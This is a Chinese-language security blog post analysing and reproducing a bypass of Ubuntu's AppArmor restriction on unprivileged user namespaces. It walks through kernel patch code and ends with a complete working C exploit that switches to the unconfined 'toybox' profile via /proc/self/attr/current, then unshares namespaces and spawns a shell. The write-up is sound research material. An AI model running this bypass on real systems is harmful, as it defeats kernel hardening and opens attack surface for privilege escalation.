# Analyze AppArmor and Ubuntu’s Unprivileged Namespace Restriction bypass
> Author : 堇姬 Naup
## 前言
最近剛好遇到 AppArmor 相關的東東,突然想到 pumpkin 寫過的這篇
https://u1f383.github.io/linux/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction.html
以及 Qualys 的這篇
https://blog.qualys.com/vulnerabilities-threat-research/2025/03/27/qualys-tru-discovers-three-bypasses-of-ubuntu-unprivileged-user-namespace-restrictions
所以順便研究及復現了一下,稍微紀錄
## Unprivileged User Namespace
該機制主要用於在一個 Unprivileged user 下,可以在一個受限的環境裡拿到管理權限,該權限實質上在 host 上仍是 Unprivileged
當可以建立 Unprivileged User Namespace,可以使使用者能摸到更多 kernel 的組件,也增加了攻擊面
## AppArmor
通常我們會通過 `chmod` 來去針對檔案設定,甚麼 user 甚麼 group 可不可以讀取寫入等權限
而 AppArmor 則是直接限制一個程式可以做甚麼,例如可以讀甚麼檔案
更詳細來說,其允許系統管理員透過定義應用程式應被授予哪些資源的存取權限,並拒絕所有其他資源的存取權限來實現最小權限原則
一個程式沒有設定,則以無限制的 Unconfined 設定檔來執行
AppArmor 實作限制了建立 Unprivileged User Namespace 或是其他的建立,因此使得攻擊面變小
這幾篇主要是要說明,如何繞過 AppArmor 來建立 Unprivileged User Namespace
接下來來詳細介紹 AppArmor 用法
先安裝
```
sudo apt install -y python3-apparmor=3.0.4-2ubuntu2
sudo apt install -y apparmor-utils=3.0.4-2ubuntu2
```
先準備一個 file
```c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) {
printf("error to open /etc/passwd\n");
}
}
```
位於
```
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ pwd
/home/naup96321/Desktop/apparmor-test
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ tree
.
├── apparmortest
└── apparmortest.c
```
接下來要寫 config
可以先通過 `aa-easyprof <binary path> > /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest`
產生基礎設定檔
這邊我們添加禁止訪問 /etc/passwd
```c
.apparmortest
# vim:syntax=apparmor
# AppArmor policy for apparmortest
# ###AUTHOR###
# ###COPYRIGHT###
# ###COMMENT###
#include <tunables/global>
# No template variables specified
/home/naup96321/Desktop/apparmor-test/apparmortest {
#include <abstractions/base>
deny /etc/passwd r,
/home/naup96321/Desktop/apparmor-test/apparmortest mr,
/home/naup96321/Desktop/apparmor-test/** rw,
capability,
file,
}
```
輸入這個生效
```
sudo apparmor_parser -r /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest
sudo aa-enforce /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest
```
執行後就會發現不能開啟了
```
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ ./apparmortest
error to open /etc/passwd
```
通過 `aa-status` 查看狀態
可以發現其已經在 enforce mode 了
enforce node : 違反 rules 會阻擋及記錄
complain mode : 違反 rules 會記錄
```
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ sudo aa-status
apparmor module is loaded.
62 profiles are loaded.
60 profiles are in enforce mode.
/home/naup96321/Desktop/apparmor-test/apparmortest
```
順帶一提 `aa-disable` 可以關閉
對 AppArmor 有初步了解後,先來架設環境
## build env
先來裝一台 24.04 ubuntu
https://releases.ubuntu.com/24.04/
開一個 VMware 匯入
裝好後進去可以看到,預設的 kernel version 應該是 6.14.0-35-generic
接下來我們要替換到 vm 上的 kernel 成我們自己編譯的
Ubuntu 是基於原生的 linux kernel 來 patch 的
https://launchpad.net/ubuntu/+source/linux/6.11.0-18.18
在這網站有兩個檔案
一個是原來的 kernel,一個是 diff
這份 diff `6.11.0-18.18` 前面的 `6.11.0` 是 kernel version,`18.18` 是 ubuntu 自己維護的版本
```
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux/6.11.0-18.18/linux_6.11.0.orig.tar.gz
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux/6.11.0-18.18/linux_6.11.0-18.18.diff.gz
tar -xzf linux_6.11.0.orig.tar.gz
gunzip linux_6.11.0-18.18.diff.gz
```
接下來拿 diff patch 後,我拿 host 上的 config 編譯
```
cd linux-6.11.0
patch -p1 < ../linux_6.11.0-18.18.diff
sudo apt install build-essential libncurses-dev flex bison libssl-dev libelf-dev bc
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j8
```
之後要將機器上的 kernel 替換,不過當 install 完後,要進入到 grub 將 kernel 替換,不過我一直抓不到 grub 時間,所以去修改 `/etc/default/grub`
```
sudo make -j8 modules_install
sudo make -j8 install
sudo update-grub
sudo nano /etc/default/grub (edit hidden to menu, timeout 10s)
sudo update-grub
sudo reboot
```
進到 grub 後,Ubuntu 高級選項 -> 選擇對應 kernel version

進去後就可以看到 kernel 版本已經被替換了

## Analyze
Ubuntu 實作了一套基於 AppArmor 的東西,來讓一般使用者不能創建 unprivileged user namespace ,這個東西可以讓你在某個 namespace 中擁有 root,不過在全局上仍屬於一般使用者,但是通過 unprivileged user namespace ,可以摸到更多 kernel 的組件,以增加攻擊面
舉個例子,若在 host 上使用這個功能
```bash
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ ip link set lo up
RTNETLINK answers: Operation not permitted
```
會直接被 reject 掉
但如果設定一個 user namespace 中建立 network namespace,則可以正常執行
這篇主要是要講如何 bypass AppArmor 來重新可以建立 unprivileged user namespace
首先先嘗試在 VM 上建立 unprivileged user namespace
```bash
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ unshare -r -n -m /bin/bash
unshare: write failed /proc/self/uid_map: Operation not permitted
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ sudo dmesg
[ 741.972257] audit: type=1400 audit(1763633042.017:158): apparmor="AUDIT" operation="userns_create" class="namespace" info="Userns create - transitioning profile" profile="unconfined" pid=3980 comm="unshare" requested="userns_create" target="unprivileged_userns"
[ 741.981461] audit: type=1400 audit(1763633042.027:159): apparmor="DENIED" operation="capable" class="cap" profile="unprivileged_userns" pid=3980 comm="unshare" capability=21 capname="sys_admin"
```
可以在看到被 reject 了,通過 dmesg 可以看到
第一條當啟動想要創建 namespace 時,他轉換 profile 成 `unprivileged_userns`
在轉換完成 profile 後,在新的受限制環境中,進程嘗試獲取 sys_admin 系統管理員權限,但被 AppArmor 拒絕
可以來看看 patch
```diff
+struct aa_label *aa_profile_ns_perm(struct aa_profile *profile,
+ struct apparmor_audit_data *ad,
+ u32 request)
+{
+ struct aa_ruleset *rules = list_first_entry(&profile->rules,
+ typeof(*rules), list);
+ struct aa_label *new;
struct aa_perms perms = { };
- int error = 0;
+ aa_state_t state;
ad->subj_label = &profile->label;
ad->request = request;
+ int error;
- if (!profile_unconfined(profile)) {
- struct aa_ruleset *rules = list_first_entry(&profile->rules,
- typeof(*rules),
- list);
- aa_state_t state;
-
- state = RULE_MEDIATES(rules, ad->class);
- if (!state)
- /* TODO: add flag to complain about unmediated */
- return 0;
- perms = *aa_lookup_perms(rules->policy, state);
- aa_apply_modes_to_perms(profile, &perms);
- error = aa_check_perms(profile, &perms, request, ad,
- audit_ns_cb);
+ /* TODO: rework unconfined profile/dfa to mediate user ns, then
+ * we can drop the unconfined test
+ */
+ state = RULE_MEDIATES(rules, ad->class);
+ if (!state) {
+ /* TODO: this gets replaced when the default unconfined
+ * profile dfa gets updated to handle this
+ */
+ if (profile_unconfined(profile) &&
+ profile == profiles_ns(profile)->unconfined) {
+ if (!aa_unprivileged_userns_restricted ||
+ ns_capable_noaudit(current_user_ns(),
+ CAP_SYS_ADMIN))
+ return aa_get_newest_label(&profile->label);
+ ad->info = "User namespace creation restricted";
+ /* unconfined unprivileged user */
+ /* don't just return: allow complain mode to override */
+// hardcode unconfined transition for now
+ new = aa_label_parse(&profile->label,
+ "unprivileged_userns", GFP_KERNEL,
+ true, false);
+ if (IS_ERR(new)) {
+ ad->info = "Userns create restricted - failed to find unprivileged_userns profile";
+ ad->error = PTR_ERR(new);
+ ad->ns.target = "unprivileged_userns";
+ new = NULL;
+ perms.deny |= request;
+ goto hard_coded;
+ }
+ ad->info = "Userns create - transitioning profile";
+ perms.audit = request;
+ perms.allow = request;
+ goto hard_coded;
+// once we have special unconfined profile, jump to ns_x_to_label()
+// end hardcode
+ } else if (!aa_unprivileged_userns_restricted_force) {
+ return aa_get_newest_label(&profile->label);
+ }
+ /* continue to mediation */
}
- return error;
+ perms = *aa_lookup_perms(rules->policy, state);
+ new = ns_x_to_label(profile, perms.xindex, &ad->ns.target, &ad->info);
+ if (IS_ERR(new)) {
+ ad->error = PTR_ERR(new);
+ new = NULL;
+ perms.deny |= request;
+ } else if (!new) {
+ /* no transition - not done in x_to_label so we can track */
+ new = aa_get_label(&profile->label);
+ } else {
+hard_coded:
+ ad->peer = new;
+ }
```
這段 code 會切換 profile
檢查方式是若當前 profile 是 unconfined 且是預設的 unconfined,就會分配一個 unprivileged_userns 的 profile
```c
// security/apparmor/task.c
if (profile_unconfined(profile) &&
profile == profiles_ns(profile)->unconfined) {
if (!aa_unprivileged_userns_restricted ||
ns_capable_noaudit(current_user_ns(),
CAP_SYS_ADMIN))
return aa_get_newest_label(&profile->label);
ad->info = "User namespace creation restricted";
/* unconfined unprivileged user */
/* don't just return: allow complain mode to override */
// hardcode unconfined transition for now
new = aa_label_parse(&profile->label,
"unprivileged_userns", GFP_KERNEL,
true, false);
```
來看看這個 profile
該 profile deny 了所有 capability,也就是說所有需要特殊 capability 的操作都會被拒絕,建立 namespace 的操作缺少了 sys_admin 的 capability,導致建立失敗
```c
// /etc/apparmor.d/unprivileged_userns
# Special profile transitioned to by unconfined when creating an unprivileged
# user namespace.
#
abi <abi/4.0>,
include <tunables/global>
profile unprivileged_userns {
audit deny capability,
audit deny change_profile,
# allow block to be replaced by allow when x dominance test is fixed
#allow all,
allow network,
allow signal,
allow dbus,
allow file rwlkm /**,
allow unix,
allow mqueue,
allow ptrace,
allow userns,
# stack children to strip capabilities
allow pix /** -> &unprivileged_userns ,
# Site-specific additions and overrides. See local/README for details.
include if exists <local/unprivileged_userns>
}
```
從上述就可以知道,原本 unconfined 的 profile 被轉換成 unprivileged_userns 是無法建立 namespace 的關鍵,因此要來了解一下
第一個 unconfined 是從這個結構中的 mode flags 比對是否是 `APPARMOR_UNCONFINED`,只要是 unconfined 就行
這件事不太能動,因為切換 AppArmor 模式是需要 root 的,不過若是能切換模式成 enforce 或 complain 就可以 bypass 了
```c
#define profile_unconfined(X) ((X)->mode == APPARMOR_UNCONFINED)
struct aa_profile {
struct aa_policy base;
struct aa_profile __rcu *parent;
struct aa_ns *ns;
const char *rename;
enum audit_mode audit;
long mode;
u32 path_flags;
int signal;
const char *disconnected;
struct aa_attachment attach;
struct list_head rules;
struct aa_net_compat *net_compat;
struct aa_audit_cache learning_cache;
struct aa_loaddata *rawdata;
unsigned char *hash;
char *dirname;
struct dentry *dents[AAFS_PROF_SIZEOF];
struct rhashtable *data;
struct aa_label label;
};
enum profile_mode {
APPARMOR_ENFORCE, /* enforce access rules */
APPARMOR_COMPLAIN, /* allow and log access violations */
APPARMOR_KILL, /* kill task on access violation */
APPARMOR_UNCONFINED, /* profile set to unconfined */
APPARMOR_USER, /* modified complain mode to userspace */
};
```
另外一個是檢查,這個 macro 會拿到自身 namespace,並拿到 namespace 的 unconfined 預設設定檔並比對當前 profile,如果一樣就會進到發 `unprivileged_userns` 分支
```c
#define profiles_ns(P) ((P)->ns)
profiles_ns(profile)->unconfined
/* struct aa_ns - namespace for a set of profiles
* @base: common policy
* @parent: parent of namespace
* @lock: lock for modifying the object
* @acct: accounting for the namespace
* @unconfined: special unconfined profile for the namespace
* @sub_ns: list of namespaces under the current namespace.
* @uniq_null: uniq value used for null learning profiles
* @uniq_id: a unique id count for the profiles in the namespace
* @level: level of ns within the tree hierarchy
* @revision: policy revision for this ns
* @wait: waitq for tasks waiting on revision changes
* @listener_lock: lock for listeners
* @listeners: notification listeners' proxies list
* @labels: all the labels associated with this ns
* @rawdata_list: raw policy data for policy
* @dents: dentries for the namespaces file entries in apparmorfs
*
* An aa_ns defines the set profiles that are searched to determine which
* profile to attach to a task. Profiles can not be shared between aa_ns
* and profile names within a namespace are guaranteed to be unique. When
* profiles in separate namespaces have the same name they are NOT considered
* to be equivalent.
*
* Namespaces are hierarchical and only namespaces and profiles below the
* current namespace are visible.
*
* Namespace names must be unique and can not contain the characters :/\0
*/
struct aa_ns {
struct aa_policy base;
struct aa_ns *parent;
struct mutex lock;
struct aa_ns_acct acct;
struct aa_profile *unconfined;
struct list_head sub_ns;
atomic_t uniq_null;
long uniq_id;
int level;
long revision;
wait_queue_head_t wait;
spinlock_t listener_lock;
struct list_head listeners;
struct aa_labelset labels;
struct list_head rawdata_list;
struct dentry *dents[AAFS_NS_SIZEOF];
};
```
而 AppArmor 判斷當前使用的設定檔設定在 `/proc/self/attr` 下
```bash
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ ls -la /proc/self/attr
total 0
dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 .
dr-xr-xr-x 9 naup naup 0 Nov 20 20:52 ..
dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 apparmor
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 current
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 exec
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 fscreate
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 keycreate
-r--r--r-- 1 naup naup 0 Nov 20 20:52 prev
dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 smack
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 sockcreate
```
嘗試去 `cat /proc/self/attr/current` 可以看到他顯示當前使用的是 `unconfined`,這會顯示當前使用的設定檔是哪一個,並且有寫入權限,因此可以嘗試修改他,不過若直接寫入會失敗,通常需要修改這下面的東西,都需要通過一定格式來修改
這部分來看 code
首先是這部分用來建立 proc 下的東西,其中也包含 current,另外可以看到所有操作都是在 `proc_pid_attr_operations` 這張 vtable 上
```c
// fs/proc/base.c
#define ATTR(LSMID, NAME, MODE) \
NOD(NAME, (S_IFREG|(MODE)), \
NULL, &proc_pid_attr_operations, \
{ .lsmid = LSMID })
static const struct pid_entry attr_dir_stuff[] = {
ATTR(LSM_ID_UNDEF, "current", 0666),
ATTR(LSM_ID_UNDEF, "prev", 0444),
ATTR(LSM_ID_UNDEF, "exec", 0666),
ATTR(LSM_ID_UNDEF, "fscreate", 0666),
ATTR(LSM_ID_UNDEF, "keycreate", 0666),
ATTR(LSM_ID_UNDEF, "sockcreate", 0666),
```
這張 vtable 紀錄了 write 相關的操作
```c
static const struct file_operations proc_pid_attr_operations = {
.open = proc_pid_attr_open,
.read = proc_pid_attr_read,
.write = proc_pid_attr_write,
.llseek = generic_file_llseek,
.release = mem_release,
};
```
前面會做一些檢查,之後呼叫正確 LSM (看起來像一個 hook,lsmid 選擇哪個 LSM 來處理)
LSM 自己解析 attribute 名稱與內容,並設定
https://lwn.net/Articles/940180/
```c
static ssize_t proc_pid_attr_write(struct file * file, const char __user * buf,
size_t count, loff_t *ppos)
{
struct inode * inode = file_inode(file);
struct task_struct *task;
void *page;
int rv;
/* A task may only write when it was the opener. */
if (file->private_data != current->mm)
return -EPERM;
rcu_read_lock();
task = pid_task(proc_pid(inode), PIDTYPE_PID);
if (!task) {
rcu_read_unlock();
return -ESRCH;
}
/* A task may only write its own attributes. */
if (current != task) {
rcu_read_unlock();
return -EACCES;
}
/* Prevent changes to overridden credentials. */
if (current_cred() != current_real_cred()) {
rcu_read_unlock();
return -EBUSY;
}
rcu_read_unlock();
if (count > PAGE_SIZE)
count = PAGE_SIZE;
/* No partial writes. */
if (*ppos != 0)
return -EINVAL;
page = memdup_user(buf, count);
if (IS_ERR(page)) {
rv = PTR_ERR(page);
goto out;
}
/* Guard against adverse ptrace interaction */
rv = mutex_lock_interruptible(¤t->signal->cred_guard_mutex);
if (rv < 0)
goto out_free;
rv = security_setprocattr(PROC_I(inode)->op.lsmid,
file->f_path.dentry->d_name.name, page,
count);
mutex_unlock(¤t->signal->cred_guard_mutex);
out_free:
kfree(page);
out:
return rv;
}
// security/security.c
/**
* security_setprocattr() - Set an attribute for a task
* @lsmid: LSM identification
* @name: attribute name
* @value: attribute value
* @size: attribute value size
*
* Write (set) the current task's attribute @name to @value, size @size if
* allowed.
*
* Return: Returns bytes written on success, a negative value otherwise.
*/
int security_setprocattr(int lsmid, const char *name, void *value, size_t size)
{
struct security_hook_list *hp;
hlist_for_each_entry(hp, &security_hook_heads.setprocattr, list) {
if (lsmid != 0 && lsmid != hp->lsmid->id)
continue;
return hp->hook.setprocattr(name, value, size);
}
return LSM_RET_DEFAULT(setprocattr);
}
```
從這裡可以找到 hook 的函數是 `apparmor_setprocattr`
```c
// /security/apparmor/lsm.c
atic struct security_hook_list apparmor_hooks[] __ro_after_init = {
...
LSM_HOOK_INIT(getselfattr, apparmor_getselfattr),
LSM_HOOK_INIT(setselfattr, apparmor_setselfattr),
LSM_HOOK_INIT(getprocattr, apparmor_getprocattr),
LSM_HOOK_INIT(setprocattr, apparmor_setprocattr),
...
};
```
向下追可以看到,先找到要設定的屬性,若修改 current 就會轉換成對應 id
接下來 call `do_attr` 來設定該 attribute
```c
// /security/apparmor/lsm.c
static int apparmor_setprocattr(const char *name, void *value,
size_t size)
{
int attr = lsm_name_to_attr(name);
if (attr)
return do_setattr(attr, value, size);
return -EINVAL;
}
// security/lsm_syscall.c
/**
* lsm_name_to_attr - map an LSM attribute name to its ID
* @name: name of the attribute
*
* Returns the LSM attribute value associated with @name, or 0 if
* there is no mapping.
*/
u64 lsm_name_to_attr(const char *name)
{
if (!strcmp(name, "current"))
return LSM_ATTR_CURRENT;
if (!strcmp(name, "exec"))
return LSM_ATTR_EXEC;
if (!strcmp(name, "fscreate"))
return LSM_ATTR_FSCREATE;
if (!strcmp(name, "keycreate"))
return LSM_ATTR_KEYCREATE;
if (!strcmp(name, "prev"))
return LSM_ATTR_PREV;
if (!strcmp(name, "sockcreate"))
return LSM_ATTR_SOCKCREATE;
return LSM_ATTR_UNDEF;
}
```
AppArmor 要處理:
```
echo "<command> <args>" > /proc/self/attr/current
echo "<command> <args>" > /proc/self/attr/exec
```
這個 function 就是解析 command,然後呼叫對應的 aa_change_profile / aa_setprocattr_changehat 等 API
所以通過這個方式可以簡單的去操作當前使用的 unconfined profile 了,如通過 `aa_change_profile` 來去設定當前 profile flags,或是當前 profile 是哪個等等,完美~
```c
// security/apparmor/lsm.c
static int do_setattr(u64 attr, void *value, size_t size)
{
char *command, *largs = NULL, *args = value;
size_t arg_size;
int error;
DEFINE_AUDIT_DATA(ad, LSM_AUDIT_DATA_NONE, AA_CLASS_NONE,
OP_SETPROCATTR);
if (size == 0)
return -EINVAL;
/* AppArmor requires that the buffer must be null terminated atm */
if (args[size - 1] != '\0') {
/* null terminate */
largs = args = kmalloc(size + 1, GFP_KERNEL);
if (!args)
return -ENOMEM;
memcpy(args, value, size);
args[size] = '\0';
}
error = -EINVAL;
args = strim(args);
command = strsep(&args, " ");
if (!args)
goto out;
args = skip_spaces(args);
if (!*args)
goto out;
arg_size = size - (args - (largs ? largs : (char *) value));
if (attr == LSM_ATTR_CURRENT) {
if (strcmp(command, "changehat") == 0) {
error = aa_setprocattr_changehat(args, arg_size,
AA_CHANGE_NOFLAGS);
} else if (strcmp(command, "permhat") == 0) {
error = aa_setprocattr_changehat(args, arg_size,
AA_CHANGE_TEST);
} else if (strcmp(command, "changeprofile") == 0) {
error = aa_change_profile(args, AA_CHANGE_NOFLAGS);
} else if (strcmp(command, "permprofile") == 0) {
error = aa_change_profile(args, AA_CHANGE_TEST);
} else if (strcmp(command, "stack") == 0) {
error = aa_change_profile(args, AA_CHANGE_STACK);
} else
goto fail;
} else if (attr == LSM_ATTR_EXEC) {
if (strcmp(command, "exec") == 0)
error = aa_change_profile(args, AA_CHANGE_ONEXEC);
else if (strcmp(command, "stack") == 0)
error = aa_change_profile(args, (AA_CHANGE_ONEXEC |
AA_CHANGE_STACK));
else
goto fail;
} else
/* only support the "current" and "exec" process attributes */
goto fail;
if (!error)
error = size;
out:
kfree(largs);
return error;
fail:
ad.subj_label = begin_current_label_crit_section();
if (attr == LSM_ATTR_CURRENT)
ad.info = "current";
else if (attr == LSM_ATTR_EXEC)
ad.info = "exec";
else
ad.info = "invalid";
ad.error = error = -EINVAL;
aa_audit_msg(AUDIT_APPARMOR_DENIED, &ad, NULL);
end_current_label_crit_section(ad.subj_label);
goto out;
}
```
## exploit
首先其實蠻清楚應該要做甚麼的,他檢查了兩項,現在可以通過 /proc/self/attr/current 的 `changeprofile` 來去切換當前使用的 profile
那他檢查了當前是不是預設的 unconfined,因此只要找到機器上其他 uncondined 的 profile change 過去就好了,可以通過 `aa-status` 來看機器上有哪些,舉例來說 `toybox` 之類的 profile
```c
if (profile_unconfined(profile) &&
profile == profiles_ns(profile)->unconfined) {
```
以下是完整 exploit
```c
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define CURRENT_PATH "/proc/self/attr/current"
char cmd[] = "changeprofile toybox";
void w(const char *p, const char *s) {
int f = open(p, O_WRONLY);
if (f < 0) exit(1);
write(f, s, strlen(s));
close(f);
}
int main() {
int fd = open(CURRENT_PATH, O_RDWR);
if (fd < 0) {
printf("[x] error to open current\n");
exit(1);
}
int ret = write(fd, cmd, sizeof(cmd));
if (ret < 0) {
printf("[x] error to send cmd\n");
exit(1);
}
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET) < 0) {
printf("[x] error to open unprivilege user namespace");
exit(1);
}
w("/proc/self/setgroups", "deny");
w("/proc/self/uid_map", "0 1000 1");
w("/proc/self/gid_map", "0 1000 1");
system("/bin/sh");
}
```
## demo
<iframe width="560" height="315" src="https://www.youtube.com/embed/vR0mA53JZTk?si=6jzydcPRZKSHlccz" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
## After all
遇到最大的坑是我 VM 的 grub 進不去XD